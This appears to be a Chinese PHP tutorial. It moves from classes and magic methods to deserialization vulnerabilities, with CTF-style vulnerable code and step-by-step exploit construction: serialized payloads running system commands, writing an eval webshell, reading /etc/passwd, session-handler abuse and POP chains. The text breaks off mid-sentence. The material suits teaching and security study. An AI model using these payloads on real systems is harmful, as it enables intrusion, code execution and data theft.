PHP 类和对象基础
基础概念
类是对一个类别的抽象概念,而具体的则是对象,比如汽车就是一个类
而对象则是我的宝马
,而不是宝马
,宝马也是一个类,对象是一个具体到每个事物
PHP官方解释: 类是对象的抽象,对象是类的具像(具体对象)
如何创建一个类:
使用class
关键字进行创建,Class ClassName{}
<?php
class Car {
// 这里是类的内容
}
>
**类名的命名规范:**类名通常使用大驼峰命名法。
例如:persontest
的大驼峰命名法就是PersonTest
小驼峰命名法就是personTest
。
类中的成员
-
成员属性(在类中定义的变量称之为属性)
-
方法(在类中定义的函数称之为方法)
-
成员常量
创建一个类
<?php
class Demo {
public $username = 'x1ong';
public $password = "admin@123";
public function login() {
echo "正在执行登陆操作...";
}
}
$obj = new Demo; // 初始化或叫实例化 Demo 这个类
$obj->login(); // 执行对象中的 login 方法。
?>
类的继承
继承的好处
-
子类继承了父类,那么就拥有了父类可以有的属性和方法 (子承父业)。
-
子类拥有父亲的所有可以拿到的属性,还有自己独特的属性。
继承的语法
class SubClassName extends PrentClassName {}
继承示例
<?php
class ParentClass {
public $money = '1000000000000000000.0';
public function run() {
echo " 成为富豪";
}
}
class SubClass extends ParentClass {
}
$obj = new SubClass;
echo $obj->money;
$obj->run();
?>
可以看到,子类SubClass
并没有定义money
属性和run
方法,但是可以调用其属性和方法,这就是继承。
类的访问权限
类的访问权限一般指的是成员属性和成员方法的访问权限,如下:
权限 | 说明 | 外部访问 | 类内部访问 | 被继承 |
---|---|---|---|---|
public |
公有的 | true | true | true |
protected |
受保护的 | false | true | true |
private |
私有的 | false | true | false |
<?php
// 父类
class Person {
public $name = 'x1ong';
protected $id = '41282820020327xxxx';
private $position = '计算机从业人员';
}
// SubPerson继承父类Proson
class SubPerson extends Person {
function __construct() {
// public 可以在外部访问、类内部访问、被继承
echo '我父亲的名字为: ' . $this->name . PHP_EOL;
// protected 可以在类内部访问,可以被继承,不能在类外部访问
echo '我父亲的身份证号为: ' . $this->id . PHP_EOL;
// provate 只能在类的内部访问,不可以被继承,不可以在类外部访问。
// echo '我父亲的职位为: ' . $this->position . PHP_EOL;
}
}
$obj = new SubPerson;
// 外部访问public 可以
echo $obj->name;
// 外部访问protected 不可以
echo $obj->id;
// 外部访问private 不可以
// echo $obj->position;
?>
魔术方法
PHP的魔术方法(Magic Methods)是一些特殊的方法,它们在对象的生命周期中具有特殊的行为。这些方法以两个下划线开头,如__construct()
、__destruct()
、__get()
、__set()
等。这些方法被称为“魔术方法”,因为它们在特定的时机自动调用,而不需要显式调用。
__construct()
触发条件 | 参数 |
---|---|
构造函数,当当前类被实例化的时候自动调用 | 任意长度的参数,常用于初始化属性的值 |
<?php
class Demo {
public $name;
public $age;
public $gender;
function __construct($name,$age,$gender) {
// 属性初始化
$this->name = $name;
$this->age = $age;
$this->gender = $gender;
}
}
$obj = new Demo('xiaoming',17,'male'); // 实例化(初始化)类
echo $obj->name;
echo $obj->age;
echo $obj->gender;
?>
__destruct()
触发条件 | 参数 |
---|---|
析构函数,在对象的所有引用被删除或者当对象被销毁时执行的魔术方法。 | 无参数 |
<?php
class Demo {
function msg() {
echo ' 这是一条无用的信息 ';
}
function __destruct() {
echo ' 我是__destruct()执行的内容 ';
}
}
$obj = new Demo; // 执行1次
$obj->msg();
echo ' helloworld ';
// 序列化和反序列化
$ser = serialize($obj);
unserialize($ser); // 执行2次
?>
__wekeup()
在执行unserialize()
之前会检查类中是否存在一个__wakeup()
方法,如果存在,则会先调用__wakeup()
方法,预先准备对象需要的资源。返回void
,常用与反序列化操作中重新建立数据库连接或执行其他初始化操作。
触发条件 | 参数 |
---|---|
在使用unserialize() 反序列化之前调用 |
无参数 |
<?php
class Demo {
// 在反序列化之前调用执行该方法
function __wakeup() {
echo '我是反序列化之前调用的__wakeup方法';
}
}
$obj = unserialize('O:4:"Demo":1:{s:4:"name";s:5:"x1ong";}');
__sleep()
序列化serialize()
函数会检查类中是否存在一个魔术方法__sleep()
,如果存在,该方法会先被调用,然后才执行序列化操作。
此功能可以用于清理对象,并返回一个包含对象中所有应被序列化的属性名称的数字。
如果该方法未返回任何内容,则NULL
被序列化,并产生一个E_NOTICE
级别的错误。
触发条件 | 参数 | 返回值 |
---|---|---|
在使用unserialize() 反序列化之前调用 |
无参数 | 需要被序列化存储的成员属性,是个数组。 |
<?php
class Demo {
public $name = 'x1ong';
public $age = 18;
public $gender = 'male';
function __sleep() {
// 只序列化 name 和 age 属性
return array('name','age');
}
}
$obj = new Demo;
// 在序列化之前先执行__sleep()该函数返回需要序列化的属性名
echo serialize($obj); // O:4:"Demo":2:{s:4:"name";s:5:"x1ong";s:3:"age";i:18;}
?>
__toString()
触发条件 | 参数 |
---|---|
当对象被 echo(或被作为字符串输出或运算) 时触发,该函数都需要有return 值 |
无参数 |
<?php
class Demo {
function __toString() {
return '我是当对象被echo的时候执行的函数 __toString';
}
}
$obj = new Demo;
echo $obj; // 我是当对象被echo的时候执行的函数 __toString
?>
__invoke()
触发条件 | 参数 |
---|---|
当对象被当成函数时调用 | 无参数 |
<?php
class Demo {
function __invoke() {
echo '我是对象被当做函数调用时执行的__invoke()';
}
}
$obj = new Demo;
$obj();
__get()
触发条件 | 参数 |
---|---|
当对象从外部访问一个不存在(或不可访问)的属性时调用该方法 | 无参数 |
<?php
class Demo {
private $name = 'x1ong';
function __get($name) {
echo '你访问的属性值不存在或不可访问,访问名称为: ' . $name;
}
}
$obj = new Demo;
echo $obj->name; // 访问了不可访问的name属性
?>
__set()
触发条件 | 参数 |
---|---|
当对象从外部访问一个不存在(或不可访问)的属性时调用该方法 | 无参数 |
在类的外部可以为类的公有属性重新赋值:
<?php
class Demo {
public $name = 'x1ong';
}
$obj = new Demo;
echo $obj->name . PHP_EOL; // x1ong
// 为类的属性name重新赋值
$obj->name = 'pony';
echo $obj->name . PHP_EOL; // pony
?>
但是遇到了访问不到的属性,一旦为他们重新赋值则会报错,此时我们如果非要从外部赋值,可以使用魔术方法__set()
:
例如下例:
<?php
class Demo {
protected $name = 'x1ong';
}
$obj = new Demo;
echo $obj->name . PHP_EOL; // x1ong
// 为类的属性重新赋值 报错 !!! 原因:外部访问不到protected
$obj->name = 'pony';
?>
那么如何为外部访问不到的属性重新赋值呢,这个时候就需要用到魔术方法__set()
:
<?php
class Demo {
// 受保护的属性 类的外部访问不到
protected $name = 'x1ong';
function __set($name,$value) {
// 在类的内部为属性重新赋值
$this->name = $value;
echo $this->name . PHP_EOL;
echo '当设置一个类外无法访问的属性时,自动调用__set()方法' . PHP_EOL;
}
}
$obj = new Demo;
// 为类的属性重新赋值
$obj->name = 'pony';
?>
__clone()
触发条件 | 参数 |
---|---|
在克隆一个对象的时候调用 ,在这里可以对克隆出来的对象属性做一些操作 | 无参数 |
<?php
class Demo {
public $name;
public $age;
public $gender;
function __construct($name,$age,$gender) {
$this->name = $name;
$this->age = $age;
$this->gender = $gender;
}
function __clone() {
echo '我在对象被克隆的时候调用: __clone()' . PHP_EOL;
}
}
$obj = new Demo('x1ong',18,'male');
$obj2 = clone $obj; // 克隆一个对象
echo $obj2->name; // x1ong
?>
__call()
触发条件 | 参数 |
---|---|
在调用一个不存在的方法时调用 | $args1 (调用的方法名),$args2 (传入的参数值,是个数组) |
<?php
class Demo {
function __call($args1,$args2) {
echo '我是调用对象的一个不存在的方法时执行的__call()';
echo $args1 . PHP_EOL;
print_r($args2);
}
}
$obj = new Demo;
$obj->addInfo(1,2,3);
__callStatic()
触发条件 | 参数 |
---|---|
当调用不存在的静态方法时调用 | $args1 (调用的方法名),$args2 (传入的参数值,是个数组) |
<?php
class Demo {
static function __callStatic($name, $arguments) {
echo '我是当调用一个不存在的静态方法时执行的__callStatic()' . PHP_EOL;
echo '调用的静态方法名为' . $name . PHP_EOL;
echo '传入的参数为:' . PHP_EOL;
print_r($arguments);
}
}
$obj = new Demo;
Demo::config('root');
__isset()
触发条件 | 参数 |
---|---|
对不可访问或不存在属性使用isset() 或者empty() 的时候触发 |
$args1 (不存在的成员属性名称) |
<?php
class Demo {
function __isset($name) {
echo '我是当对不可访问属性使用isset()或者empty()的时候触发的__isset()' . PHP_EOL;
echo '访问的属性名为' . $name . PHP_EOL;
}
}
$obj = new Demo;
// 触发一次 __isset()
isset($obj->x1ong);
// 触发一次 __isset()
empty($obj->name);
__unset()
触发条件 | 参数 |
---|---|
对不可访问或不存在的属性使用unset() 时触发 |
$args1 (不可访问或者不存在的属性名称) |
<?php
class Demo {
function __unset($name) {
echo '我是对不可访问或不存在的属性使用unset()时触发__unset()' . PHP_EOL;
echo '访问的属性名为' . $name . PHP_EOL;
}
}
$obj = new Demo;
// 触发点
unset($obj->name);
序列化和反序列化
引言
在很多语言中,将对象的状态信息转为可存储或可传输的过后才能是序列化。序列化的逆向过程则是反序列化。
主要是为了方便对象的传输,通过文件、网络等方式将序列化后的字符串进行传输。最终可以通过反序列化获取之前的对象。
现在我们都会在淘宝上买桌子,桌子这种很不规则的东西,该怎么从一个城市运输到另一个城市:
-
这时候一般都会把它拆掉成板子,再装到箱子里面,就可以快递寄出去了,这个过程就类似我们的序列化的过程(把数据转化为可以存储或者传输的形式)。
-
当买家收到货后,就需要自己把这些板子组装成桌子的样子,这个过程就像反序列的过程(转化成当初的数据对象)。
PHP 中的序列化
在 php 中可以使用serialize
函数对一个对象或不为资源类型的数据进行序列化,序列化的内容只包含属性不包含方法。
数据类型的序列化值
数据类型 | 值 | 序列化的值 |
---|---|---|
null 类型 | null | N; |
字符串类型 | "hello" | s:5:"hello"; |
整型 | 666 | i:666 ; |
浮点型 | 2.0 | d:2; |
布尔类型 | true | b:1; |
布尔值类型 | false | b:0; |
数组类型 | array(6,7) | a:2:{i:0;i:6;i:1;i:7;} |
对象的序列化
<?php
class Demo {
public $name = 'x1ong';
public $age = 18;
public $address = "HN";
}
$obj = new Demo();
echo serialize($obj);
// O:4:"Demo":3:{s:4:"name";s:5:"x1ong";s:3:"age";i:18;s:7:"address";s:2:"HN";}
?>
序列化值解读:
<?php
class Person {
public $a1;
public $a2 = false;
public $a3 = 1;
public $a4 = 2.0;
public $a5 = array(1,2);
public $a6 = "demo";
}
// 将对象进行序列化
echo serialize(new Person());
// O:6:"Person":6:{s:2:"a1";N;s:2:"a2";b:0;s:2:"a3";i:1;s:2:"a4";d:2;s:2:"a5";a:2:{i:0;i:1;i:1;i:2;}s:2:"a6";s:4:"demo";}
解读:
O # object
6 # 表示类名长度
"Person" # 表示类的名称
6 # 表示类中属性的个数
{} # 类里面的属性和值都被其包裹
s # 表示类中的第一个属性名是以String形式进行存储的
2 # 表示类中第一个属性名的长度
"a1" # 表示类中第一个属性名
N # 表示类中第一个属性值的类型
s # 表示类中第二个属性名是以String形式进行存储的
2 # 表示类中第二个属性名的长度
"a2" # 表示类中第二个属性名
b # 表示类中第二个属性值的类型
0 # 表示类中第二个属性的值
s # 表示类中第三个属性名是以String形式进行存储的
2 # 表示类中的第三个属性名的长度
"a3" # 表示类中第三个属性名
i # 表示类中第三个属性值的类型
1 # 表示类中第三个属性的值
s # 表示类中第四个属性名是以String形式进行存储的
2 # 表示类中的第四个属性名的长度
"a4" # 表示类中第四个属性名
d # 表示类中第四个属性值的类型
2 # 表示类中第四个属性的值
s # 表示类中第五个属性名是以String形式进行存储的
2 # 表示类中的第五个属性名的长度
"a5" # 表示类中第五个属性名
a # 表示类中第五个属性值的类型
2 # 表示类中第五个属性值的长度
{} # 类里面的某个属性的值为数组被其包裹
i # 表示第一个数组中的第一个元素索引(key)的类型
0 # 表示第一个数组中的第一个元素的索引(key)
i # 表示第一个数组中的第一个元素值的类型
1 # 表示第一个数组中的第一个值
i # 表示第一个数组中的第二个元素索引(key)的类型
1 # 表示第一个数组中的第一个元素的索引(key)
i # 表示第一个数组中的第二个元素值的类型
2 # 表示第一个数组中的第二个值
s # 表示类中第六个属性名是以String形式进行存储的
2 # 表示类中的第六个属性名的长度
"a6" # 表示类中第六个属性名
s # 表示类中第六个属性值的类型
4 # 表示类中第六个属性值的长度
"demo" # 表示类中第六个属性的值
序列化值类型
数据类型 | 序列化后的类型简称 |
---|---|
array | a |
boolean | b |
double | d |
integer | i |
common object | o |
reference | r |
non-escaped binary string | s |
custom object | C |
class | O |
null | N |
pointer reference | P |
unicode string | U |
常见的序列化类型:null => N,boolean => b, integer => i, string => s, array => a, class => O
如果在一个类的成员属性的值是一个对象,然而将该类进行序列化,那么它的结果会是什么样?
<?php
class Demo1 {
var $name = 'libai';
function info() {
echo $this->name . PHP_EOL;
}
}
class Demo2 {
var $obj;
function __construct() {
// 成员属性的值为一个对象
$this->obj = new Demo1;
}
}
$a = new Demo2;
echo serialize($a);
// O:5:"Demo2":1:{s:3:"obj";O:5:"Demo1":1:{s:4:"name";s:5:"libai";}}
访问权限不同序列化不同
在PHP
类中,访问权限的不同,最终序列化出来的字符串里面的属性名也有些不同。
<?php
class Demo {
public $name;
protected $id;
private $position;
}
echo serialize(new Demo);
序列化值如下:
-
public
: 访问权限为public
的属性,在序列化之后的字符串中,表示属性名的,与实际类中的一致。 -
protected
: 访问权限为protected
的属性,在序列化之后的字符串中,表示属性名的,会在其实际类中的名前面加上\x00*\x00
,例如protected $name
序列化之后,就为\x00*\x00name
-
private
: 访问权限为private
的属性,在序列化之后的字符串中,表示属性名的,会在其前面加上\x00ClassName\x00
,之后紧接的是实际类中的属性名。例如一个Person
类的private $addr
; 序列化之后就为\x00Person\x00addr
\x00
到底是啥呢,它是一个ascii中十进制为0的不可见字符。该字符不可以被复制。如果需要进行url传参的时候,需要在其位置使用%00
代替。平时存储可以使用base64编码。
PHP 中的反序列化
在 PHP 中可以使用unserialize
函数对一个序列化字符串进行反序列化。
<?php
class Demo {
}
// 反序列化的前提是 序列化的类存在
$obj = unserialize('O:4:"Demo":1:{s:4:"name";s:5:"x1ong";}');
echo $obj->name; // x1ong
-
unserialize
反序列化成功之后返回的是对象。 -
反序列化生成的对象里面的属性和值,由反序列化里的属性和值提供,与原有类预定义的属性和值无关。
-
反序列化不触发类的成员方法;需要调用方法后才能触发(魔术方法除外)
-
反序列化的类需要真实存在
反序列化漏洞
漏洞成因
原理:当进行反序列化的时候反序列化字符串可控,并且又没有进行过滤,那么就可能存在反序列化漏洞。
在反序列化的时候,如果这个字符串可控,我们就可以让它反序列化出代码中任意一个类对象,并且类对象的属性是可控的。
同时如果类的危险方法被调用时(自动/手动)使用了自己成员属性的值,那么这个方法的执行结果我们就可控,所以就造成了反序列化漏洞的存在。
漏洞类型
-
原生反序列化
-
session 反序列化
-
phar 反序列化
漏洞代码
<?php
highlight_file(__FILE__);
error_reporting(0);
class Execute {
public $cmd;
function __construct(){
$this->cmd = "echo 'hello';";
}
function displayInfo() {
eval($this->cmd);
}
}
$get = $_REQUEST['word'];
$obj = unserialize($get);
$obj->displayInfo();
首先我们先关注如下危险函数:
// 代码执行
eval()
assert()
// 命令执行
exec()
passthru()
popen()
system()
shell_exec()
// 文件操作
file_get_contents()
file_put_contents()
unlink()
show_source()
highlight_file()
...
可以从代码看到在displayInfo
函数中调用了eval($this->cmd)
因此我们只需要想办法displayInfo
函数,将cmd
属性赋值为想要执行的代码即可。
而displayInfo
函数在代码中已经调用了。因此我们只需要将cmd
属性复制为想要执行的代码即可。
构造 Exp:
<?php
class Execute {
public $cmd;
// function __construct(){
// $this->cmd = "echo 'Hello World';";
// }
// function displayInfo() {
// eval($this->cmd);
// }
}
$obj = new Execute;
$obj->cmd = "system('whoami');";
echo serialize($obj);
执行得到序列化之后的值:
传参:
?word=O:7:"Execute":1:{s:3:"cmd";s:17:"system('whoami');";}
怎样利用反序列化
利用技巧
-
寻找
unserialize()
函数的参数是否由我们可控的点 -
寻找我们反序列化的目标,重点寻找存在
__wakeup
或__destruct()
魔术方法的类 -
一层一层地研究该类在魔术方法中使用的属性和属性调用的方法,看看是否有可控的属性能实现在当前调用的过程中触发的
-
找到我们要控制的属性以后,我们就将代码复制下来,然后构造序列化发起攻击。
构造 EXP 技巧
-
把题目代码复制到本地
-
注释掉方法和删除一些没用的东西
-
本地对属性值构造序列化输出
-
尽量对序列化出来的字符串使用
urlencode()
编码 -
分析技巧: 先找危险函数,由内到外分析
例题
例题-1
<?php
highlight_file(__FILE__);
error_reporting(0);
class vul {
public $cmd = 'ls';
function __wakeup() {
system($this->cmd);
}
}
unserialize($_POST['data']);
?>
构造 EXP:
<?php
class vul {
public $cmd = 'ls';
// function __wakeup() {
// system($this->cmd);
// }
}
$obj = new vul;
$obj->cmd = "whoami";
echo serialize($obj);
?>
执行得到:
O:3:"vul":1:{s:3:"cmd";s:6:"whoami";}
利用:
例题-2
<?php
highlight_file(__FILE__);
error_reporting(0);
class vul {
public $filename = 'test.txt';
public $content = 'flag';
function __wakeup() {
$this->save();
}
public function save() {
file_put_contents($this->filename, $this->content);
}
}
unserialize($_POST['data']);
?>
构造 EXP:
<?php
class vul {
public $filename;
public $content;
// function __wakeup() {
// $this->save();
// }
// public function save() {
// file_put_contents($this->filename, $this->content);
// }
}
$obj = new vul;
$obj->filename = "shell.php";
$obj->content = '<?php echo 123;eval($_REQUEST[0]);?>';
echo serialize($obj);
?>
执行得到:
O:3:"vul":2:{s:8:"filename";s:9:"shell.php";s:7:"content";s:36:"<?php echo 123;eval($_REQUEST[0]);?>";}
利用:
利用之后,会在同目录下生成shell.php
文件,访问利用即可。
例题-3
<?php
highlight_file(__FILE__);
error_reporting(0);
class vul {
public $file;
public function __toString() {
if (isset($this->file)) {
echo file_get_contents($this->file);
echo "<br />";
return "good!";
}
}
}
$data = unserialize($_POST['data']);
echo $data;
?>
构造 EXP:
<?php
class vul {
public $file;
// public function __toString() {
// if (isset($this->file)) {
// echo file_get_contents($this->file);
// echo "<br />";
// return "good!";
// }
// }
}
// $data = unserialize($_POST['data']);
// echo $data;
$obj = new vul;
$obj->file = "/etc/passwd";
echo serialize($obj);
执行得到:
O:3:"vul":1:{s:4:"file";s:11:"/etc/passwd";}
利用:
例题-4
<?php
highlight_file(__FILE__);
error_reporting(0);
class vul1 {
public $obj;
function __construct() {
$this->obj = new vul2();
}
function __destruct() {
$this->obj->action();
}
}
class vul2 {
function action() {
echo 'vul2->action';
}
}
class vul3 {
public $cmd;
function action() {
system($this->cmd);
}
}
unserialize($_POST['data']);
首先我们先定位到危险函数system()
发现让该函数执行就必须调用action
方法,于是我们就找调用action()
方法的地方,发现在vul1
类下的__destruct
方法下存在$this->obj->action()
,由于是析构函数,程序退出自动执行,故而我们只需要让该类下的obj
属性为vul3
对象即可。
构造EXP:
<?php
class vul1 {
public $obj;
// function __construct() {
// $this->obj = new vul2();
// }
// function __destruct() {
// $this->obj->action();
// }
}
class vul2 {
// function action() {
// echo 'vul2->action';
// }
}
class vul3 {
public $cmd;
// function action() {
// system($this->cmd);
// }
}
$obj = new vul3;
$obj->cmd = "whoami";
$obj2 = new vul1;
$obj2->obj = $obj;
echo serialize($obj2);
执行得到:
O:4:"vul1":1:{s:3:"obj";O:4:"vul3":1:{s:3:"cmd";s:6:"whoami";}}
利用:
例题-5
<?php
highlight_file(__FILE__);
error_reporting(0);
class vul {
protected $cmd = 'ls';
function __wakeup() {
system($this->cmd);
}
}
unserialize($_POST['data']);
?>
由于属性cmd
的访问权限为protected
,故而在序列化生成的字符串属性前会加上\x00*\x00
,成为\x00*\x00cmd
,由于\x00
是不可见字符,故而我们需要对其进行URL编码。
<?php
class vul {
protected $cmd = "whoami";
function __wakeup() {
system($this->cmd);
}
}
$obj = new vul;
echo urlencode(serialize($obj));
?>
运行得到:
O%3A3%3A%22vul%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00cmd%22%3Bs%3A6%3A%22whoami%22%3B%7D
执行:
例题-6
<?php
highlight_file(__FILE__);
error_reporting(0);
class vul {
private $cmd = 'ls';
function __wakeup() {
system($this->cmd);
}
}
unserialize($_GET['data']);
?>
由于属性cmd
的访问权限为private
,故而在序列化生成的字符串属性前会加上\x00vul\x00
,成为\x00vul\x00cmd
,由于\x00
是不可见字符,故而我们需要对其进行URL编码。
构造 EXP:
<?php
class vul {
private $cmd = "whoami";
function __wakeup() {
system($this->cmd);
}
}
$obj = new vul;
echo urlencode(serialize($obj));
?>
执行得到:
O%3A3%3A%22vul%22%3A1%3A%7Bs%3A8%3A%22%00vul%00cmd%22%3Bs%3A6%3A%22whoami%22%3B%7D
利用:
session 反序列化
引言
PHP 在 session 读取和存储的时候,都会有一个序列化和反序列化的过程,PHP 内置了多种处理器存取$_SESSION
数据,都会对数据进行序列化和反序列化。
序列化引擎
除了默认的的 session 序列化引擎php
外,还有几种引擎,不同的引擎存储方式不同。
-
php_binary
键名的长度对应的 ASCII 字符+键名+经过serialize()
函数序列化处理的值 -
php
键名+竖线+经过serialize()
序列化处理的值 -
php_serialize``serialize()
函数序列化处理数组的方式
以如下代码为例:
<?php
session_start();
$_SESSION['name'] = 'x1ong';
?>
php_binary:
php
php_serialize
三种处理器的存储格式差异,就会造成 session 序列化和反序列化处理器设置不当时的安全隐患。
Session 上传进度
<!DOCTYPE html>
<html>
<body>
<form action="http://120.48.128.24" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="PAYLOAD">
<input type="file" name="file">
<input type="submit" name="submit">
</form>
</body>
</html>
<!-- 请先将 session.upload_progress.cleanup 设置为 off 并手动传参PHPSESSID-->
此时我们来到 session_xxxx 文件中就可以看到序列化之后的上传进度,并在其中可以看到上传的文件名和PHP_SESSION_UPLOAD_PROGRESS
相应的值:
Session 反序列化题目
<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO {
public $mdzz;
function __construct() {
$this->mdzz = 'phpinfo();';
}
function __destruct() {
eval($this->mdzz);
}
}
if(isset($_GET['phpinfo'])) {
$m = new OowoO();
}
else {
highlight_string(file_get_contents('index.php'));
}
?>
分析
通过为phpinfo
参数传入值可执行phpinfo()
函数查看其信息。
发现当前页面使用的反序列化引擎为php
,而php.ini
配置文件中配置的是php_serialize
,这个差异就导致了session
反序列化问题。
利用
构造 EXP:
<?php
error_reporting(0);
class OowoO {
public $mdzz;
// function __construct() {
// $this->mdzz = 'phpinfo();';
// }
// function __destruct() {
// eval($this->mdzz);
// }
}
$obj = new OowoO();
$obj->mdzz = "system('whoami');";
echo serialize(new $obj);
?>
// 生成如下内容:
O:5:"OowoO":1:{s:4:"mdzz";s:17:"system('whoami');";}
// 由于当前页面使用的是 php session 序列化引擎,故而将在上方 EXP 前面加上管道符。让 PHP_SESSION_UPLOAD_PROGRESS 生成的内容作为键名,而管道符后面的作为序列化字符串。
|O:5:"OowoO":1:{s:4:"mdzz";s:17:"system('whoami');";}
// 由于我们需要将以上字符串作为文件名传入,故而需要对双引号转义。
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:17:\"system('whoami');\";}
成功执行命令。
POP 链
引言
POP链就是利用魔术方法
在里面进行多次跳转然后获取敏感数据
的一种payload
。
例题1
<?php
// flag in flag.php
highlight_file(__FILE__);
error_reporting(0);
class Modifier {
private $var;
public function append($value) {
include($value);
echo $flag;
}
public function __invoke() {
$this->append($this->var);
}
}
class Show {
public $source;
public $str;
public function __toString() {
return $this->str->source;
}
public function __wakeup() {
echo $this->source;
}
}
class Test {
public $p = Modifier;
public function __construct() {
$this->p = array();
}
public function __get($key) {
$func = $this->p;
return $func();
}
}
if (isset($_GET['pop'])) {
unserialize($_GET['pop']);
}
分析:
目标: 执行 Modifier 类中append()
函数,修改 var 属性为flag.php
,
在分析的时候,建议从内到外分析:
-
将 Modifier 类中的 var 属性赋值为
flag.php
,由于echo $flag
在该类的append()
方法中,故而不会自动调用。 -
寻找能调用
append()
方法的类: 发现在本类的__invoke
魔术方法中调用了append()
方法。 -
寻找能调用
Modifier
类__invoke
方法的类: 而__invoke
是魔术方法,当当前类(Modifier) 被当做函数调用时自动调用。那么我们就去找其他类的其他方法有没有函数名我们可控的地方,发现在Test
类中的__get
魔术方法中存在$func = $this->p;return $func();
因此我们只需要将Test
中的 属性p
赋值为Modifier
对象即可。 -
寻找能调用
Test
类下__get
方法的类:__get
为魔术方法,当访问了一个不存在或者无法访问的属性时自动触发。那么我们看下哪里可以控制调用类的一个属性,发现在Show
类的__toString()
方法中存在return $this->str->source;
,那么我们只需要让该类的str
属性赋值为Test
对象。 -
寻找能调用
Show
类__toString
方法的类:__toString
为魔术方法,当对象被当做字符串执行(输出)时自动调用,那么我们看下哪里有字符串输出可控的地方,发现在当前类的__wakeup
方法中存在echo $this->source;
,那么我们只需要将Show
类的source
属性赋值为自身对象即可。 -
Show
类的wakeup
方法在反序列化的时候自动调用,因此我们反序列化Show
对象即可。 -
最后完成的POP链就构造完成了,但是由于里面存在私有属性,因此建议对序列化出来的值使用
urlencode()
函数进行 URL 编码。
构造 EXP:
<?php
// flag in flag.php
class Modifier {
private $var = "flag.php";
// public function append($value) {
// include($value);
// echo $flag;
// }
// public function __invoke() {
// $this->append($this->var);
// }
}
class Show {
public $source;
public $str;
// public function __toString() {
// return $this->str->source;
// }
// public function __wakeup() {
// echo $this->source;
// }
}
class Test {
public $p = Modifier;
// public function __construct() {
// $this->p = array();
// }
// public function __get($key) {
// $func = $this->p;
// return $func();
// }
}
$obj = new Modifier();
$obj2 = new Test();
$obj2->p = $obj;
$obj3 = new Show();
$obj3->str = $obj2;
$obj3->source = $obj3;
echo urlencode(serialize($obj3));
利用:
例题2
<?php
header("Content-Type: text/html;charset=utf-8");
error_reporting(0);
class Read {
public function get_file($value) {
$text = base64_encode(file_get_contents($value));
return $text;
}
}
class Show {
public $source;
public $var;
public $class1;
public function __construct($name = 'index.php') {
$this->source = $name;
echo $this->source . "Welcome" . "<br />";
}
public function __toString() {
$content = $this->class1->get_file($this->var);
echo $content;
return $content;
}
public function _show() {
if (preg_match("/gopher|http|ftp|https|dict|\.\.|flag|file/i", $this->source)) {
die("hacker");
} else {
highlight_file($this->source);
}
}
public function Change() {
if (preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
}
}
public function __get($key) {
$function = $this->$key;
$this->{$key}();
}
}
if (isset($_GET['sid'])) {
$sid = $_GET['sid'];
$config = unserialize($_GET['config']);
$config->$sid;
} else {
$show = new Show('index.php');
$show->_show();
}
?>
非预期
分析:
-
定位危险函数发现存在
file_get_contents
和highlight_file
,两者参数都可控,但是highlight_file
过滤了flag
关键字。而file_get_contents
并没有进行任何过滤。 -
目标: 执行
Read
类中的get_file()
方法。 -
寻找可以调用
get_file
方法的类: 发现Show
类的__toString
函数存在$this->class1->get_file($this->var)
,我们可以将该类的class1
属性赋值为Read
对象,var
属性值赋值为flag.php
作为参数传给get_file()
方法执行。 -
寻找可以调用
Show
类中的__toString()
方法的类: 由于__toString()
方法为魔术方法,当当前类(Show)被当做字符串输出时调用。在Show
类中我们发现存在__get()
方法,该方法为魔术方法,当访问一个不存在或无法访问的属性时自动调用。其方法存在$function = $this->$key;$this->{$key}();
其中的$key
为不可访问或不存在的属性,假设不可访问的属性为__toString
,那么带入到$this->{$key}()
拼接之后就成为了$this->__toString()
即可达到调用__toString()
方法的效果。
在类外部我们可以发现,存在如下代码:
if (isset($_GET['sid'])) {
$sid = $_GET['sid']; // __toString
$config = unserialize($_GET['config']); // Show 对象的序列化值
$config->$sid; // $config->__toString
}
Show
类中并没有__toString
属性,那么就会触发__get($key)
,其中$key
的值就为无法访问的属性__toString
,带入到$this->{$key}()
中就为:$this->__toString()
最终调用了该方法。
构造 EXP:
<?php
class Read {
}
class Show {
public $source;
public $var;
public $class1;
}
$obj = new Read;
$obj2 = new Show;
$obj2->class1 = $obj;
$obj2->var = 'flag.php';
echo urlencode(serialize($obj2));
?>
利用:
题解
当然这里除了传入sid
参数直接调用Show
类下的__toString
以外,还可以调用Show
类下的_show()
和Change()
,因为这俩方法都存在preg_match()
正则函数,代码如下:preg_match("/.../", $this->source)
,正则函数将source
属性作为字符串在表达式中进行匹配,而此时如果source
属性的值为Show
类生成的对象。那么就会调用__toString
方法。
构造 EXP:
<?php
class Read {
}
class Show {
public $source;
public $var;
public $class1;
}
$obj = new Read;
$obj2 = new Show;
$obj2->class1 = $obj;
$obj2->var = 'flag.php';
$obj2->source = $obj2;
echo urlencode(serialize($obj2));
?>
利用:
至于为什么调用了_show
方法之后执行了两次__toString()
,而Change
执行了一次__toString()
原因如下:
例题-3
<?php
error_reporting(0);
highlight_file(__FILE__);
class Vox{
protected $headset;
public $sound;
public function fun($pulse){
include($pulse);
}
public function __invoke(){
$this->fun($this->headset);
}
}
class Saw{
public $fearless;
public $gun;
public function __toString(){
$this->gun['gun']->fearless;
return "Saw";
}
public function _pain(){
if($this->fearless){
highlight_file($this->fearless);
}
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|php|\.\./i", $this->fearless)){
echo "Does it hurt? That's right";
$this->fearless = "index.php";
}
}
}
class Petal{
public $seed;
public function __get($sun){
$Nourishment = $this->seed;
return $Nourishment();
}
}
if(isset($_GET['ozo'])){
unserialize($_GET['ozo']);
}
else{
$Saw = new Saw('index.php');
$Saw->_pain();
}
?>
分析:
-
首先找到在
Vox
类中存在危险函数include
,而 该函数在fun
方法内,因此需要func
方法调用并传参可控。 -
寻找可以调用
func
方法的类: 在其同类下发现__invoke()
方法,存在$this->fun($this->headset);
,那么我们只需要将Vox
类的属性headset
赋值为php://filter
伪协议即可读取flag.php
文件内容。 -
寻找可以调用
Vox
类中的__invoke()
方法: 由于该方法是魔术方法,当当前类被当做函数调用时自动触发,在Petal
中存在__get
方法,代码为:$Nourishment = $this->seed;return $Nourishment();
也就是说,我们将属性seed
赋值为Vox
对象,即可调用Vox
类的__invoke()
。 -
寻找可以调用
Petal
类的__get()
方法:__get
